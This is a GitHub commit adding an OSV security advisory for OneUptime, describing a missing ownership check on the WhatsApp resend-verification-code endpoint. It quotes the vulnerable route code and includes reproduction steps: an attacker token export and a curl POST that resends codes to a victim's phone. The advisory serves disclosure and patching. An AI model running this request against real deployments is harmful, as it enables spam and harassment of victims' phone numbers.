Skip to content

Commit f2ca60d

Browse files
1 parent 6b9a2f5 commit f2ca60d

1 file changed

Lines changed: 64 additions & 0 deletions

File tree

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cw6x-mw64-q6pv",
4+
"modified": "2026-03-10T01:15:30Z",
5+
"published": "2026-03-10T01:15:30Z",
6+
"aliases": [
7+
"CVE-2026-30959"
8+
],
9+
"summary": "OneUptime has WhatsApp Resend Verification Authorization Bypass",
10+
"details": "### Description \n The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any `UserWhatsApp` record by ID. Ownership is not validated (unlike the verify endpoint).\n\n### Affected Source \n- Endpoint: [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153) \n- Service: [UserWhatsAppService.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153) \n- Verify ownership (present in verify endpoint for comparison): [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L78-L87)\n\n\n### Full Code Lines (UserWhatsAppAPI.ts)\n\nResend path (authorization gap):\n\n```ts\n this.router.post(\n `${new this.entityType()\n .getCrudApiPath()\n ?.toString()}/resend-verification-code`,\n UserMiddleware.getUserMiddleware,\n async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {\n try {\n req = req as OneUptimeRequest;\n\n if (!req.body.itemId) {\n return Response.sendErrorResponse(\n req,\n res,\n new BadDataException(\"Invalid item ID\"),\n );\n }\n\n await this.service.resendVerificationCode(req.body.itemId);\n\n return Response.sendEmptySuccessResponse(req, res);\n } catch (err) {\n return next(err);\n }\n },\n );\n```\n\nVerify path (ownership check present):\n\n```ts\n if (\n item.userId?.toString() !==\n (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()\n ) {\n return Response.sendErrorResponse(\n req,\n res,\n new BadDataException(\"Invalid user ID\"),\n );\n }\n```\n\n## Prerequisites\n- Valid attacker account with access to a project\n- Attacker access token\n- A victim’s `UserWhatsApp` itemId belonging to the same project\n\n## Steps to Reproduce\n1. Set your attacker token:\n\n ```bash\n export ATK=\"Bearer <attacker-access-token>\"\n ```\n\n2. Trigger resend for the victim’s item:\n\n ```bash\n curl -s -X POST \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: $ATK\" \\\n -d '{\"itemId\":\"<victim-userwhatsapp-id>\"}' \\\n http://<host>/api/user-whats-app/resend-verification-code\n ```\n\n## Expected/Observed Behavior\n- HTTP 200 with `{}` body and a new verification code sent to the victim’s phone\n- No checks confirm that `item.userId` equals the authenticated user’s ID for the resend path\n\n## Impact\n- Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends\n\n## Recommended Fix\n- Enforce ownership: `item.userId` must match the authenticated user\n- Add per-item and per-user rate limiting for resends",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@oneuptime/common"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "10.0.21"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-cw6x-mw64-q6pv"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/OneUptime/oneuptime"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.21"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-285",
55+
"CWE-307",
56+
"CWE-639",
57+
"CWE-862"
58+
],
59+
"severity": "MODERATE",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-10T01:15:30Z",
62+
"nvd_published_at": null
63+
}
64+
}

0 commit comments

Comments
 (0)